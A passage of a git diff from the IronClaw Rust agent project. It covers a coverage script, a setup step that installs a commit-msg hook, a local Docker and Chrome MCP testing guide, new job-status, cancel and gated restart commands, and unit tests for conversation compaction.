cmd+=(--lcov --output-path "$COV_OUT/lcov.info")
;;
*)
echo "ERROR: Unknown format '$COV_FORMAT'. Use: html, text, json, lcov"
exit 1
;;
esac
# Test name filters (passed after -- to cargo test)
if [[ $# -gt 0 ]]; then
if [[ $# -eq 1 ]]; then
cmd+=(-- "$1")
else
# Join filters with | for regex matching
filter=$(IFS='|'; echo "$*")
cmd+=(-- "$filter")
fi
fi
echo "Running: ${cmd[*]}"
echo ""
"${cmd[@]}"
# Open report
if [[ "$COV_FORMAT" == "html" && "$COV_OPEN" == "1" ]]; then
index="$COV_OUT/html/index.html"
if [[ -f "$index" ]]; then
echo ""
echo "Report: $index"
if command -v open &>/dev/null; then
open "$index"
elif command -v xdg-open &>/dev/null; then
xdg-open "$index"
fi
fi
fi
+17 -5
View File
@@ -24,14 +24,14 @@ if ! command -v rustup &>/dev/null; then
echo "ERROR: rustup not found. Install from https://rustup.rs"
exit 1
fi
echo "[1/5] rustup found: $(rustup --version 2>/dev/null | head -1)"
echo "[1/6] rustup found: $(rustup --version 2>/dev/null | head -1)"
# 2. Add WASM target (required by build.rs for channel compilation)
echo "[2/5] Adding wasm32-wasip2 target..."
echo "[2/6] Adding wasm32-wasip2 target..."
rustup target add wasm32-wasip2
# 3. Install wasm-tools (required by build.rs for WASM component model)
echo "[3/5] Installing wasm-tools..."
echo "[3/6] Installing wasm-tools..."
if command -v wasm-tools &>/dev/null; then
echo " wasm-tools already installed: $(wasm-tools --version)"
else
@@ -39,13 +39,25 @@ else
fi
# 4. Verify the project compiles
echo "[4/5] Running cargo check..."
echo "[4/6] Running cargo check..."
cargo check
# 5. Run tests using libsql temp DB (no Docker/external DB needed)
echo "[5/5] Running tests (no external DB required)..."
echo "[5/6] Running tests (no external DB required)..."
cargo test
# 6. Install git hooks
echo "[6/6] Installing git hooks..."
HOOKS_DIR=$(git rev-parse --git-path hooks 2>/dev/null) || true
if [ -n "$HOOKS_DIR" ]; then
mkdir -p "$HOOKS_DIR"
SCRIPT_ABS="$(cd "$(dirname "$0")" && pwd)/commit-msg-regression.sh"
ln -sf "$SCRIPT_ABS" "$HOOKS_DIR/commit-msg"
echo " commit-msg hook installed (regression test enforcement)"
else
echo " Skipped: not a git repository"
fi
echo ""
echo "=== Setup complete ==="
echo ""
+225
View File
@@ -0,0 +1,225 @@
---
name: local-test
version: 0.1.0
description: Build, run, and test IronClaw locally using Docker containers and Chrome MCP browser automation.
activation:
keywords:
- test locally
- local test
- docker test
- test my changes
- test in docker
- test web gateway
- spin up test
- test container
patterns:
- "test.*local"
- "docker.*test"
- "spin.*up.*test"
- "test.*changes.*docker"
max_context_tokens: 3000
---
# Local Testing with Docker + Chrome MCP
Use this skill to build, run, and test IronClaw web gateway changes locally using `Dockerfile.test` and Chrome MCP browser automation tools.
## Quick Start
```bash
# Build the test image (libsql-only, no PostgreSQL needed)
docker build --platform linux/amd64 -f Dockerfile.test -t ironclaw-test .
# Run on port 3003 (default)
docker run --rm -p 3003:3003 \
-e ONBOARD_COMPLETED=true \
-e CLI_ENABLED=false \
-e NEARAI_API_KEY=<key> \
ironclaw-test
# Open in browser
# http://localhost:3003/?token=test
```
## Building the Image
The test Dockerfile uses a two-stage build: Rust compilation with `--features libsql` (no PostgreSQL dependency), then a minimal Debian runtime image.
```bash
docker build --platform linux/amd64 -f Dockerfile.test -t ironclaw-test .
```
Build takes ~5-10 minutes on first run (cached subsequent builds are faster). The `--platform linux/amd64` flag avoids QEMU warnings on Apple Silicon but can be omitted if targeting native architecture.
## Running Containers
### Required Environment Variables
| Variable | Purpose | Default in Dockerfile |
|----------|---------|----------------------|
| `ONBOARD_COMPLETED=true` | Skip onboarding wizard (exits immediately otherwise) | not set |
| `CLI_ENABLED=false` | Disable TUI/REPL (causes EOF shutdown otherwise) | not set |
### LLM Backend Configuration
Pick ONE of these configurations:
**NEAR AI (API key mode):**
```bash
docker run --rm -p 3003:3003 \
-e ONBOARD_COMPLETED=true \
-e CLI_ENABLED=false \
-e NEARAI_API_KEY=<your-key> \
ironclaw-test
```
**NEAR AI (session token mode):**
```bash
docker run --rm -p 3003:3003 \
-e ONBOARD_COMPLETED=true \
-e CLI_ENABLED=false \
-e NEARAI_SESSION_TOKEN=<sess_xxx> \
-e NEARAI_BASE_URL=https://private.near.ai \
ironclaw-test
```
**OpenAI:**
```bash
docker run --rm -p 3003:3003 \
-e ONBOARD_COMPLETED=true \
-e CLI_ENABLED=false \
-e LLM_BACKEND=openai \
-e OPENAI_API_KEY=<your-key> \
ironclaw-test
```
**Anthropic:**
```bash
docker run --rm -p 3003:3003 \
-e ONBOARD_COMPLETED=true \
-e CLI_ENABLED=false \
-e LLM_BACKEND=anthropic \
-e ANTHROPIC_API_KEY=<your-key> \
ironclaw-test
```
**Dummy run (no LLM, just test the UI loads):**
```bash
docker run --rm -p 3003:3003 \
-e ONBOARD_COMPLETED=true \
-e CLI_ENABLED=false \
-e NEARAI_API_KEY=dummy \
ironclaw-test
```
### Common Overrides
| Variable | Purpose | Example |
|----------|---------|---------|
| `GATEWAY_PORT` | Change the listen port | `3003` (default) |
| `GATEWAY_AUTH_TOKEN` | Auth token for API | `test` (default) |
| `NEARAI_MODEL` | Override LLM model | `claude-3-5-sonnet-20241022` |
| `RUST_LOG` | Logging verbosity | `ironclaw=debug` |
| `ROUTINES_ENABLED` | Enable routines | `true`/`false` |
| `SKILLS_ENABLED` | Enable skills system | `true` (default) |
### Multi-Instance Testing
Run multiple containers on different host ports:
```bash
docker run --rm -d --name ic-test-a -p 3003:3003 -e ONBOARD_COMPLETED=true -e CLI_ENABLED=false -e NEARAI_API_KEY=dummy ironclaw-test
docker run --rm -d --name ic-test-b -p 3004:3003 -e ONBOARD_COMPLETED=true -e CLI_ENABLED=false -e NEARAI_API_KEY=dummy ironclaw-test
```
## Chrome MCP Testing Workflow
Use the Claude for Chrome browser automation tools to test the web UI.
### Step 1: Get Browser Context
```
mcp__claude-in-chrome__tabs_context_mcp
```
Always start here to see current tabs and get fresh tab IDs.
### Step 2: Open the Gateway
```
mcp__claude-in-chrome__tabs_create_mcp url=http://localhost:3003/?token=test
```
### Step 3: Verify the Page
```
mcp__claude-in-chrome__read_page
```
Check for:
- "Connected" indicator in top-right
- All tabs visible: Chat, Memory, Jobs, Routines, Extensions, Skills
### Step 4: Take Screenshots
```
mcp__claude-in-chrome__computer action=screenshot
```
### Step 5: Test Mobile Viewport
```
mcp__claude-in-chrome__resize_window width=375 height=812
mcp__claude-in-chrome__computer action=screenshot
```
Reset to desktop:
```
mcp__claude-in-chrome__resize_window width=1280 height=800
```
### Step 6: Run JavaScript Checks
```
mcp__claude-in-chrome__javascript_tool script="document.querySelector('.connection-status')?.textContent"
```
### Step 7: Test Interactions
Click tabs, send messages, search skills — use `computer` tool with `action=click` and coordinate-based clicks, or use `find` + `form_input` for text entry.
## Cleanup
```bash
# Stop a specific container
docker stop ic-test-a
# Stop all test containers
docker ps --filter ancestor=ironclaw-test -q | xargs -r docker stop
# Remove the test image
docker rmi ironclaw-test
```
## Troubleshooting
### Container exits immediately
- **Missing `ONBOARD_COMPLETED=true`**: The onboarding wizard tries to read stdin, gets EOF, and exits.
- **Missing `CLI_ENABLED=false`**: The REPL channel reads stdin, gets EOF, and shuts down the agent.
### "Model not found" or LLM errors
- Check that your API key/token is valid and the model name is correct.
- For NEAR AI session token mode, you also need `NEARAI_BASE_URL=https://private.near.ai`.
### Platform mismatch warnings on Apple Silicon
- The `--platform linux/amd64` flag causes QEMU emulation warnings — these are harmless.
- Alternatively, omit the flag and build natively if your dependencies support ARM64.
### Port already in use
- The dev server defaults to port 3001; the test Dockerfile defaults to 3003 to avoid conflicts.
- Use a different host port: `-p 3005:3003`.
### Cannot connect from browser
- Verify `GATEWAY_HOST=0.0.0.0` (set by default in Dockerfile).
- Check the container logs: `docker logs <container-id>`.
- Make sure you include the token query param: `?token=test`.
+75 -12
View File
@@ -73,6 +73,10 @@ pub struct AgentDeps {
pub hooks: Arc<HookRegistry>,
/// Cost enforcement guardrails (daily budget, hourly rate limits).
pub cost_guard: Arc<crate::agent::cost_guard::CostGuard>,
/// SSE broadcast sender for live job event streaming to the web gateway.
pub sse_tx: Option<tokio::sync::broadcast::Sender<crate::channels::web::types::SseEvent>>,
/// HTTP interceptor for trace recording/replay.
pub http_interceptor: Option<Arc<dyn crate::llm::recording::HttpInterceptor>>,
}
/// The main agent that coordinates all components.
@@ -111,7 +115,7 @@ impl Agent {
let session_manager = session_manager.unwrap_or_else(|| Arc::new(SessionManager::new()));
let scheduler = Arc::new(Scheduler::new(
let mut scheduler = Scheduler::new(
config.clone(),
context_manager.clone(),
deps.llm.clone(),
@@ -119,7 +123,11 @@ impl Agent {
deps.tools.clone(),
deps.store.clone(),
deps.hooks.clone(),
));
);
if let Some(ref tx) = deps.sse_tx {
scheduler.set_sse_sender(tx.clone());
}
let scheduler = Arc::new(scheduler);
Self {
config,
@@ -138,6 +146,11 @@ impl Agent {
// Convenience accessors
/// Get the scheduler (for external wiring, e.g. CreateJobTool).
pub fn scheduler(&self) -> Arc<Scheduler> {
Arc::clone(&self.scheduler)
}
pub(super) fn store(&self) -> Option<&Arc<dyn Database>> {
self.deps.store.as_ref()
}
@@ -413,7 +426,7 @@ impl Agent {
// Load initial event cache
engine.refresh_event_cache().await;
// Spawn notification forwarder
// Spawn notification forwarder (mirrors heartbeat pattern)
let channels = self.channels.clone();
tokio::spawn(async move {
while let Some(response) = notify_rx.recv().await {
@@ -423,14 +436,33 @@ impl Agent {
.and_then(|v| v.as_str())
.unwrap_or("default")
.to_string();
let results = channels.broadcast_all(&user, response).await;
for (ch, result) in results {
if let Err(e) = result {
tracing::warn!(
"Failed to broadcast routine notification to {}: {}",
ch,
e
);
let notify_channel = response
.metadata
.get("notify_channel")
.and_then(|v| v.as_str())
.map(|s| s.to_string());
// Try the configured channel first, fall back to
// broadcasting on all channels.
let targeted_ok = if let Some(ref channel) = notify_channel {
channels
.broadcast(channel, &user, response.clone())
.await
.is_ok()
} else {
false
};
if !targeted_ok {
let results = channels.broadcast_all(&user, response).await;
for (ch, result) in results {
if let Err(e) = result {
tracing::warn!(
"Failed to broadcast routine notification to {}: {}",
ch,
e
);
}
}
}
}
@@ -588,8 +620,25 @@ impl Agent {
}
async fn handle_message(&self, message: &IncomingMessage) -> Result<Option<String>, Error> {
// Set message tool context for this turn (current channel and target)
// For Signal, use signal_target from metadata (group:ID or phone number),
// otherwise fall back to user_id
let target = message
.metadata
.get("signal_target")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.unwrap_or_else(|| message.user_id.clone());
self.tools()
.set_message_tool_context(Some(message.channel.clone()), Some(target))
.await;
// Parse submission type first
let mut submission = SubmissionParser::parse(&message.content);
tracing::debug!(
"[agent_loop] Parsed submission: {:?}",
std::any::type_name_of_val(&submission)
);
// Hook: BeforeInbound — allow hooks to modify or reject user input
if let Submission::UserInput { ref content } = submission {
@@ -674,7 +723,14 @@ impl Agent {
.await
}
Submission::SystemCommand { command, args } => {
self.handle_system_command(&command, &args).await
tracing::debug!(
"[agent_loop] SystemCommand: command={}, channel={}",
command,
message.channel
);
// Authorization checks (including restart channel check) are enforced in handle_system_command
self.handle_system_command(&command, &args, &message.channel)
.await
}
Submission::Undo => self.process_undo(session, thread_id).await,
Submission::Redo => self.process_redo(session, thread_id).await,
@@ -685,6 +741,13 @@ impl Agent {
Submission::Heartbeat => self.process_heartbeat().await,
Submission::Summarize => self.process_summarize(session, thread_id).await,
Submission::Suggest => self.process_suggest(session, thread_id).await,
Submission::JobStatus { job_id } => {
self.process_job_status(&message.user_id, job_id.as_deref())
.await
}
Submission::JobCancel { job_id } => {
self.process_job_cancel(&message.user_id, &job_id).await
}
Submission::Quit => return Ok(None),
Submission::SwitchThread { thread_id: target } => {
self.process_switch_thread(message, target).await
+186 -9
View File
@@ -12,6 +12,7 @@ use crate::agent::session::Session;
use crate::agent::submission::SubmissionResult;
use crate::agent::{Agent, MessageIntent};
use crate::channels::{IncomingMessage, StatusUpdate};
use crate::context::JobState;
use crate::error::Error;
use crate::llm::{ChatMessage, Reasoning};
@@ -67,7 +68,10 @@ impl Agent {
self.handle_help_job(&message.user_id, &job_id).await?
}
MessageIntent::Command { command, args } => {
match self.handle_command(&command, &args).await? {
match self
.handle_command(&command, &args, &message.channel)
.await?
{
Some(s) => s,
None => return Ok(SubmissionResult::Ok { message: None }), // Shutdown signal
}
@@ -117,6 +121,22 @@ impl Agent {
let uuid = Uuid::parse_str(&id)
.map_err(|_| crate::error::JobError::NotFound { id: Uuid::nil() })?;
// Try DB first for persistent state, fall back to ContextManager.
if let Some(store) = self.store()
&& let Ok(Some(ctx)) = store.get_job(uuid).await
{
return Ok(format!(
"Job: {}\nStatus: {:?}\nCreated: {}\nStarted: {}\nActual cost: {}",
ctx.title,
ctx.state,
ctx.created_at.format("%Y-%m-%d %H:%M:%S"),
ctx.started_at
.map(|t| t.format("%Y-%m-%d %H:%M:%S").to_string())
.unwrap_or_else(|| "Not started".to_string()),
ctx.actual_cost
));
}
let ctx = self.context_manager.get_context(uuid).await?;
if ctx.user_id != user_id {
return Err(crate::error::JobError::NotFound { id: uuid }.into());
@@ -134,10 +154,38 @@ impl Agent {
))
}
None => {
// Show summary of all jobs
// Show summary from DB for consistency with Jobs tab.
if let Some(store) = self.store() {
let mut total = 0;
let mut in_progress = 0;
let mut completed = 0;
let mut failed = 0;
let mut stuck = 0;
if let Ok(s) = store.agent_job_summary().await {
total += s.total;
in_progress += s.in_progress;
completed += s.completed;
failed += s.failed;
stuck += s.stuck;
}
if let Ok(s) = store.sandbox_job_summary().await {
total += s.total;
in_progress += s.running;
completed += s.completed;
failed += s.failed + s.interrupted;
}
return Ok(format!(
"Jobs summary: Total: {} In Progress: {} Completed: {} Failed: {} Stuck: {}",
total, in_progress, completed, failed, stuck
));
}
// Fallback to ContextManager if no DB.
let summary = self.context_manager.summary_for(user_id).await;
Ok(format!(
"Jobs summary:\n Total: {}\n In Progress: {}\n Completed: {}\n Failed: {}\n Stuck: {}",
"Jobs summary: Total: {} In Progress: {} Completed: {} Failed: {} Stuck: {}",
summary.total,
summary.in_progress,
summary.completed,
@@ -159,6 +207,15 @@ impl Agent {
self.scheduler.stop(uuid).await?;
// Also update DB so the Jobs tab reflects cancellation immediately.
if let Some(store) = self.store()
&& let Err(e) = store
.update_job_status(uuid, JobState::Cancelled, Some("Cancelled by user"))
.await
{
tracing::warn!(job_id = %uuid, "Failed to persist cancellation to DB: {}", e);
}
Ok(format!("Job {} has been cancelled.", job_id))
}
@@ -167,21 +224,49 @@ impl Agent {
user_id: &str,
_filter: Option<String>,
) -> Result<String, Error> {
let jobs = self.context_manager.all_jobs_for(user_id).await;
// List from DB for consistency with Jobs tab.
if let Some(store) = self.store() {
let agent_jobs = match store.list_agent_jobs().await {
Ok(jobs) => jobs,
Err(e) => {
tracing::warn!("Failed to list agent jobs: {}", e);
Vec::new()
}
};
let sandbox_jobs = match store.list_sandbox_jobs().await {
Ok(jobs) => jobs,
Err(e) => {
tracing::warn!("Failed to list sandbox jobs: {}", e);
Vec::new()
}
};
if agent_jobs.is_empty() && sandbox_jobs.is_empty() {
return Ok("No jobs found.".to_string());
}
let mut output = String::from("Jobs:\n");
for j in &agent_jobs {
output.push_str(&format!(" {} - {} ({})\n", j.id, j.title, j.status));
}
for j in &sandbox_jobs {
output.push_str(&format!(" {} - {} ({})\n", j.id, j.task, j.status));
}
return Ok(output);
}
// Fallback to ContextManager if no DB.
let jobs = self.context_manager.all_jobs_for(user_id).await;
if jobs.is_empty() {
return Ok("No jobs found.".to_string());
}
let mut output = String::from("Jobs:\n");
for job_id in jobs {
if let Ok(ctx) = self.context_manager.get_context(job_id).await
&& ctx.user_id == user_id
{
if let Ok(ctx) = self.context_manager.get_context(job_id).await {
output.push_str(&format!(" {} - {} ({:?})\n", job_id, ctx.title, ctx.state));
}
}
Ok(output)
}
@@ -220,6 +305,33 @@ impl Agent {
}
}
/// Show job status inline — either all jobs (no id) or a specific job.
pub(super) async fn process_job_status(
&self,
user_id: &str,
job_id: Option<&str>,
) -> Result<SubmissionResult, Error> {
match self
.handle_check_status(user_id, job_id.map(|s| s.to_string()))
.await
{
Ok(text) => Ok(SubmissionResult::response(text)),
Err(e) => Ok(SubmissionResult::error(format!("Job status error: {}", e))),
}
}
/// Cancel a job by ID.
pub(super) async fn process_job_cancel(
&self,
user_id: &str,
job_id: &str,
) -> Result<SubmissionResult, Error> {
match self.handle_cancel_job(user_id, job_id).await {
Ok(text) => Ok(SubmissionResult::response(text)),
Err(e) => Ok(SubmissionResult::error(format!("Cancel error: {}", e))),
}
}
/// Trigger a manual heartbeat check.
pub(super) async fn process_heartbeat(&self) -> Result<SubmissionResult, Error> {
let Some(workspace) = self.workspace() else {
@@ -357,6 +469,7 @@ impl Agent {
&self,
command: &str,
args: &[String],
channel: &str,
) -> Result<SubmissionResult, Error> {
match command {
"help" => Ok(SubmissionResult::response(concat!(
@@ -392,12 +505,75 @@ impl Agent {
" /heartbeat Run heartbeat check\n",
" /summarize Summarize current thread\n",
" /suggest Suggest next steps\n",
" /restart Gracefully restart the process\n",
"\n",
" /quit Exit",
))),
"ping" => Ok(SubmissionResult::response("pong!")),
"restart" => {
tracing::info!("[commands::restart] Restart command received");
// Channel authorization check: restart is only available via web interface
if channel != "gateway" {
tracing::warn!(
"[commands::restart] Restart rejected: not from gateway channel (from: {})",
channel
);
return Ok(SubmissionResult::error(
"Restart is only available through the web interface with explicit user confirmation. \
Use the Restart button in the UI."
.to_string(),
));
}
// Environment check: restart is only available in Docker containers
let in_docker = std::env::var("IRONCLAW_IN_DOCKER")
.map(|v| v.to_lowercase() == "true")
.unwrap_or(false);
tracing::debug!("[commands::restart] IRONCLAW_IN_DOCKER={}", in_docker);
if !in_docker {
tracing::warn!(
"[commands::restart] Restart rejected: not in Docker environment"
);
return Ok(SubmissionResult::error(
"Restart is not available in this environment. \
The IRONCLAW_IN_DOCKER environment variable must be set to 'true' for Docker deployments."
.to_string(),
));
}
// Execute restart tool directly (don't dispatch as a job for LLM planning)
// This ensures the tool runs immediately without LLM involvement
use crate::tools::Tool;
let tool = crate::tools::builtin::RestartTool;
let params = serde_json::json!({});
// Create a minimal JobContext for the tool
let dummy_ctx =
crate::context::JobContext::with_user("system", "Restart", "Graceful restart");
match tool.execute(params, &dummy_ctx).await {
Ok(output) => {
tracing::info!("[commands::restart] RestartTool executed successfully");
// Extract text from the ToolOutput result
let response = match output.result {
serde_json::Value::String(s) => s,
_ => output.result.to_string(),
};
Ok(SubmissionResult::response(response))
}
Err(e) => {
tracing::error!(
"[commands::restart] RestartTool execution failed: {:?}",
e
);
Ok(SubmissionResult::error(format!("Restart failed: {}", e)))
}
}
}
"version" => Ok(SubmissionResult::response(format!(
"{} v{}",
env!("CARGO_PKG_NAME"),
@@ -635,10 +811,11 @@ impl Agent {
&self,
command: &str,
args: &[String],
channel: &str,
) -> Result<Option<String>, Error> {
// System commands are now handled directly via Submission::SystemCommand,
// but the router may still send us unknown /commands.
match self.handle_system_command(command, args).await? {
match self.handle_system_command(command, args, channel).await? {
SubmissionResult::Response { content } => Ok(Some(content)),
SubmissionResult::Ok { message } => Ok(message),
SubmissionResult::Error { message } => Ok(Some(format!("Error: {}", message))),
+478
View File
@@ -342,4 +342,482 @@ mod tests {
assert_eq!(partial.turns_removed, 0);
assert!(!partial.summary_written);
}
// === QA Plan - Compaction strategy tests ===
use crate::agent::context_monitor::CompactionStrategy;
use crate::config::SafetyConfig;
use crate::safety::SafetyLayer;
use crate::testing::StubLlm;
/// Helper: build a `ContextCompactor` with the given `StubLlm`.
fn make_compactor(llm: Arc<StubLlm>) -> ContextCompactor {
let safety = Arc::new(SafetyLayer::new(&SafetyConfig {
max_output_length: 100_000,
injection_check_enabled: false,
}));
ContextCompactor::new(llm, safety)
}
/// Helper: build a thread with `n` completed turns.
/// Turn `i` has user_input "msg-{i}" and response "resp-{i}".
fn make_thread(n: usize) -> Thread {
let mut thread = Thread::new(Uuid::new_v4());
for i in 0..n {
thread.start_turn(format!("msg-{}", i));
thread.complete_turn(format!("resp-{}", i));
}
thread
}
// ------------------------------------------------------------------
// 1. compact_truncate keeps last N turns
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_keeps_last_n() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(10);
assert_eq!(thread.turns.len(), 10);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("compact should succeed");
// Only 3 turns remain
assert_eq!(thread.turns.len(), 3);
// They are the most recent ones (msg-7, msg-8, msg-9)
assert_eq!(thread.turns[0].user_input, "msg-7");
assert_eq!(thread.turns[1].user_input, "msg-8");
assert_eq!(thread.turns[2].user_input, "msg-9");
// Turn numbers are re-indexed to 0, 1, 2
assert_eq!(thread.turns[0].turn_number, 0);
assert_eq!(thread.turns[1].turn_number, 1);
assert_eq!(thread.turns[2].turn_number, 2);
// Result metadata
assert_eq!(result.turns_removed, 7);
assert!(!result.summary_written);
assert!(result.summary.is_none());
// Tokens should be reported (before > 0 since we had content)
assert!(result.tokens_before > 0);
assert!(result.tokens_after > 0);
assert!(result.tokens_before > result.tokens_after);
}
// ------------------------------------------------------------------
// 2. compact_truncate with fewer turns than limit (no-op)
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_with_fewer_turns_than_limit() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(2);
let original_inputs: Vec<String> =
thread.turns.iter().map(|t| t.user_input.clone()).collect();
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 5 },
None,
)
.await
.expect("compact should succeed");
// All turns preserved
assert_eq!(thread.turns.len(), 2);
assert_eq!(thread.turns[0].user_input, original_inputs[0]);
assert_eq!(thread.turns[1].user_input, original_inputs[1]);
// No turns removed
assert_eq!(result.turns_removed, 0);
assert!(!result.summary_written);
assert!(result.summary.is_none());
}
// ------------------------------------------------------------------
// 3. compact_truncate with empty turns list
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_empty_turns() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = Thread::new(Uuid::new_v4());
assert!(thread.turns.is_empty());
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("compact should succeed on empty turns");
assert!(thread.turns.is_empty());
assert_eq!(result.turns_removed, 0);
assert_eq!(result.tokens_before, 0);
assert_eq!(result.tokens_after, 0);
}
// ------------------------------------------------------------------
// 4. compact_with_summary produces summary turn via StubLlm
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_produces_summary_turn() {
let canned_summary =
"- User greeted the agent\n- Agent responded warmly\n- Five exchanges completed";
let llm = Arc::new(StubLlm::new(canned_summary));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(5);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 2 },
None,
)
.await
.expect("compact with summary should succeed");
// Should keep only 2 recent turns
assert_eq!(thread.turns.len(), 2);
// The kept turns should be the last two (msg-3, msg-4)
assert_eq!(thread.turns[0].user_input, "msg-3");
assert_eq!(thread.turns[1].user_input, "msg-4");
// Result should report the summary
assert_eq!(result.turns_removed, 3);
assert!(result.summary.is_some());
let summary = result.summary.unwrap();
assert!(summary.contains("User greeted the agent"));
assert!(summary.contains("Five exchanges completed"));
// summary_written should be false since no workspace was provided
assert!(!result.summary_written);
// StubLlm should have been called exactly once for the summary
assert_eq!(llm.calls(), 1);
}
// ------------------------------------------------------------------
// 5. compact_with_summary: LLM failure returns error (does not corrupt thread)
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_llm_failure() {
let llm = Arc::new(StubLlm::failing("broken-llm"));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(8);
let original_len = thread.turns.len();
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 3 },
None,
)
.await;
// The LLM failure should propagate as an error
assert!(result.is_err());
// The thread should NOT have been modified (turns not truncated
// on failure, since the error occurs before truncation)
assert_eq!(thread.turns.len(), original_len);
}
// ------------------------------------------------------------------
// 6. compact_with_summary: fewer turns than keep_recent is a no-op
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_fewer_turns_than_keep() {
let llm = Arc::new(StubLlm::new("should not be called"));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(3);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 5 },
None,
)
.await
.expect("compact should succeed");
// No turns removed, LLM never called
assert_eq!(thread.turns.len(), 3);
assert_eq!(result.turns_removed, 0);
assert!(result.summary.is_none());
assert_eq!(llm.calls(), 0);
}
// ------------------------------------------------------------------
// 7. compact_to_workspace without workspace falls back to truncation
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_to_workspace_without_workspace_falls_back() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(20);
let result = compactor
.compact(&mut thread, CompactionStrategy::MoveToWorkspace, None)
.await
.expect("compact should succeed");
// Without a workspace, compact_to_workspace falls back to truncation
// keeping 5 turns (the hardcoded fallback in the code)
assert_eq!(thread.turns.len(), 5);
assert_eq!(result.turns_removed, 15);
// The remaining turns should be the last 5
assert_eq!(thread.turns[0].user_input, "msg-15");
assert_eq!(thread.turns[4].user_input, "msg-19");
}
// ------------------------------------------------------------------
// 8. compact_to_workspace: fewer turns than keep is a no-op
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_to_workspace_fewer_turns_noop() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
// MoveToWorkspace keeps 10 turns when workspace is available.
// Without workspace it falls back to truncate(5).
// With fewer turns, test the no-workspace fallback path:
let mut thread = make_thread(4);
let result = compactor
.compact(&mut thread, CompactionStrategy::MoveToWorkspace, None)
.await
.expect("compact should succeed");
// 4 turns < 5 (fallback keep_recent), so no truncation
assert_eq!(thread.turns.len(), 4);
assert_eq!(result.turns_removed, 0);
}
// ------------------------------------------------------------------
// 9. format_turns_for_storage includes tool calls
// ------------------------------------------------------------------
#[test]
fn test_format_turns_for_storage_with_tool_calls() {
let mut thread = Thread::new(Uuid::new_v4());
thread.start_turn("Search for X");
// Record a tool call on the current turn
if let Some(turn) = thread.turns.last_mut() {
turn.record_tool_call("search", serde_json::json!({"query": "X"}));
}
thread.complete_turn("Found X");
let formatted = format_turns_for_storage(&thread.turns);
assert!(formatted.contains("Turn 1"));
assert!(formatted.contains("Search for X"));
assert!(formatted.contains("Found X"));
assert!(formatted.contains("Tools: search"));
}
// ------------------------------------------------------------------
// 10. format_turns_for_storage with no response (incomplete turn)
// ------------------------------------------------------------------
#[test]
fn test_format_turns_for_storage_incomplete_turn() {
let mut thread = Thread::new(Uuid::new_v4());
thread.start_turn("In progress message");
// Don't complete the turn
let formatted = format_turns_for_storage(&thread.turns);
assert!(formatted.contains("Turn 1"));
assert!(formatted.contains("In progress message"));
// No "Agent:" line since response is None
assert!(!formatted.contains("Agent:"));
}
// ------------------------------------------------------------------
// 11. format_turns_for_storage empty list
// ------------------------------------------------------------------
#[test]
fn test_format_turns_for_storage_empty() {
let formatted = format_turns_for_storage(&[]);
assert!(formatted.is_empty());
}
// ------------------------------------------------------------------
// 12. Token counts decrease after truncation
// ------------------------------------------------------------------
#[tokio::test]
async fn test_tokens_decrease_after_compaction() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(20);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 5 },
None,
)
.await
.expect("compact should succeed");
assert!(
result.tokens_after < result.tokens_before,
"tokens_after ({}) should be less than tokens_before ({})",
result.tokens_after,
result.tokens_before
);
}
// ------------------------------------------------------------------
// 13. compact_with_summary: keep_recent=0 removes all turns
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_keep_zero() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(5);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 0 },
None,
)
.await
.expect("compact should succeed");
assert!(thread.turns.is_empty());
assert_eq!(result.turns_removed, 5);
assert_eq!(result.tokens_after, 0);
}
// ------------------------------------------------------------------
// 14. Summarize with keep_recent=0 summarizes all and removes all
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_keep_zero() {
let llm = Arc::new(StubLlm::new("Summary of all turns"));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(5);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 0 },
None,
)
.await
.expect("compact should succeed");
assert!(thread.turns.is_empty());
assert_eq!(result.turns_removed, 5);
assert!(result.summary.is_some());
assert_eq!(result.summary.unwrap(), "Summary of all turns");
assert_eq!(llm.calls(), 1);
}
// ------------------------------------------------------------------
// 15. Messages are correctly built from turns for thread.messages()
// after compaction
// ------------------------------------------------------------------
#[tokio::test]
async fn test_messages_coherent_after_compaction() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(10);
compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("compact should succeed");
let messages = thread.messages();
// 3 turns * 2 messages each (user + assistant) = 6
assert_eq!(messages.len(), 6);
// Verify alternating user/assistant pattern
for (i, msg) in messages.iter().enumerate() {
if i % 2 == 0 {
